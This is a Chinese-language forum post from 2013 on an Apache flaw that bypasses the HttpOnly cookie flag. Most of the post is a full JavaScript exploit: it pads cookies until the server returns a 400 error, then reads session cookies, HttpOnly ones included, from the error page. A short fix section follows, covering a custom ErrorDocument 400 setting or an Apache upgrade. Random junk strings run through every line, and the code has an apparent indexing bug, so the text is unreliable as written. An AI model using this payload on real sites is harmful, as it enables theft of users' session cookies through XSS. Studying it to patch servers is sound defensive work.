找回密码
 立即注册
查看: 3593|回复: 0
打印 上一主题 下一主题

Apache HttpOnly Cookie XSS跨站漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:15:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。" |9 o, s$ S" }1 _$ j

- {* ^% ?! _$ Z$ D4 c7 B1 A7 O用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:
: `9 X' V3 d7 M' h5 J; Y/ s
( G* S  `+ ^% J0 v
" N7 r( q, F9 ^' L- f$ }// http://www.exploit-db.com/exploits/18442/
6 v7 [; y8 s5 g4 ]6 ]$ rfunction setCookies (good) {3 Q. V7 O0 d& I7 a
// Construct string for cookie value* a, x, ^  _. b8 k6 b4 D6 m
var str = "";
* @' W  _# {& _0 V/ h: m0 q2 C; a6 ufor (var i=0; i< 819; i++) {3 ~6 n3 v- N! s9 Z$ F
str += "x";
4 W+ A9 U$ a- p  S}' g8 C' B( N$ k) L0 B
// Set cookies9 v% B: t" t* `# a" O) o% C8 l6 j9 \1 [
for (i = 0; i < 10; i++) {
) @; Q3 E2 s$ V1 _// Expire evil cookie
" J+ m+ K6 E% E/ Uif (good) {
, {/ b- p* U" V3 K! e" Qvar cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
/ s& L6 a( d) Y; X' z}
  G/ P* a1 x5 F// Set evil cookie- s& g  O; A; n% Y9 f5 Y0 O8 L: f
else {/ O) ~2 Q) f5 X( I( V
var cookie = "xss"+i+"="+str+";path=/";8 }2 m7 G) i/ X; i, w) C6 z2 x1 E
}
$ [7 r# I" v  c, o% }9 Sdocument.cookie = cookie;5 ]$ n! [) Z( S6 @' }
}2 f+ L2 ?" t8 d; F) M& ~
}
. o6 @# |$ N; w8 |( @* k) ^function makeRequest() {
8 b- P6 j  U+ b) o$ O, B2 J5 e! d- esetCookies();
4 _- ?, r; ~- h) gfunction parseCookies () {
- L5 O; A- o6 ^, r6 {9 F/ Jvar cookie_dict = {};
$ L* H4 t9 Z6 E; n  G' z4 g// Only react on 400 status  `/ [0 ^5 y6 N* {3 W
if (xhr.readyState === 4 && xhr.status === 400) {
" Z9 u6 M- M7 L) a! R, |9 h+ s// Replace newlines and match <pre> content8 q' A; n: k) d5 T- v
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);& i; ~* {. C- E7 [2 O6 \/ y3 j
if (content.length) {6 Q1 _' _/ n  S
// Remove Cookie: prefix' T2 Q  c% H" n
content = content[1].replace("Cookie: ", "");& L  x! i! e( y  Z2 n. n
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
8 c8 ]$ _% W% K- ]// Add cookies to object# p5 `9 L, N: {: @2 w, D2 c
for (var i=0; i<cookies.length; i++) {1 ]( p3 K" ]7 v1 G$ F. Q, ?
var s_c = cookies.split('=',2);
1 Z3 b% m- X! B# w! c4 L2 Y. y5 a6 Vcookie_dict[s_c[0]] = s_c[1];
* l  k, t9 R. q9 V3 t( A6 T. v  D- ]}
4 j4 F8 V/ h& ]" H6 p/ P1 f7 U' U  O}0 Z7 n% h/ k8 t# f
// Unset malicious cookies
# b" z$ s& I$ L5 E& B6 U  q  s3 TsetCookies(true);
% ~8 L  s$ d* r, Galert(JSON.stringify(cookie_dict));
/ k. c0 V0 j/ d! ^& C# l! U}, B; A( i$ t- ]6 F$ X. n! q( C- n) S
}
$ y! ?/ i1 U3 d8 E6 [// Make XHR request5 R6 D9 Q( d3 n  W- ^& C# ~# k
var xhr = new XMLHttpRequest();% d; v1 n5 V9 p" b- E
xhr.onreadystatechange = parseCookies;0 J! M( Y+ G( }+ |( b# T
xhr.open("GET", "/", true);- m' p+ X: H( {: Z1 e6 s2 S
xhr.send(null);
/ ?3 n9 K* J" v' n. o% O1 y}; x, G6 }( P6 d! R8 {5 H
makeRequest();1 E2 w5 o" R4 u# p
4 t. K) H" ]0 e! w3 s/ U! v9 @
你就能看见华丽丽的400错误包含着cookie信息。" f" L$ O0 s- [, D  y/ s
: t9 P# }% s1 v  F: {3 N. d8 F
下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#& k4 s. Z6 j$ _) K% y  |7 B7 y$ f
6 D. ]1 l  H4 j  R& l3 S; Z
修复方案:
5 t* L: k2 ?3 Q0 c6 N
" Q! U# s  R* E; `: HApache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下) F. H# y4 a- \6 g' C
$ S# L8 v/ e- \1 }7 ]  \
In the event of a problem or error, Apachecan be configured to do one of four things,
( j+ y4 [2 `) n3 Q3 ~
4 q1 i3 G' P/ J! ]! b* _7 d6 y1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
8 |* ^5 J3 C& z& a* @! k2. output acustomized message输出一段信息
8 t2 c0 n5 M: w' Q3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
& ]2 j# ~6 J  W+ V# z. M+ M4. redirect to an external URL to handle theproblem/error转向一个外部URL0 o  d# f' A) F% [, }6 w
. Q0 q% ~- W' a8 X. V& q: j+ X
经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容
0 r" P& v, |. h! Z: p+ [' @" H5 G& ^3 M: E6 ]1 f# S2 p8 N$ o
Apache配置:8 F( [: U, [0 R, n) u4 Z2 f* G

6 K+ @" S6 F3 c: P5 b, U# y' n" FErrorDocument400 " security test"
) b& R6 r) n* z2 x! }6 B! o! l1 t
- u( S% `! U+ i# ]( h8 B' H当然,升级apache到最新也可:)。7 H, s8 G& D& F2 y# J

1 r7 B( X* n# H4 ]参考:http://httpd.apache.org/security/vulnerabilities_22.html
/ E2 }  h8 J7 ]& M
, Q. d  Q5 N/ F. V, d. T* K( d
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表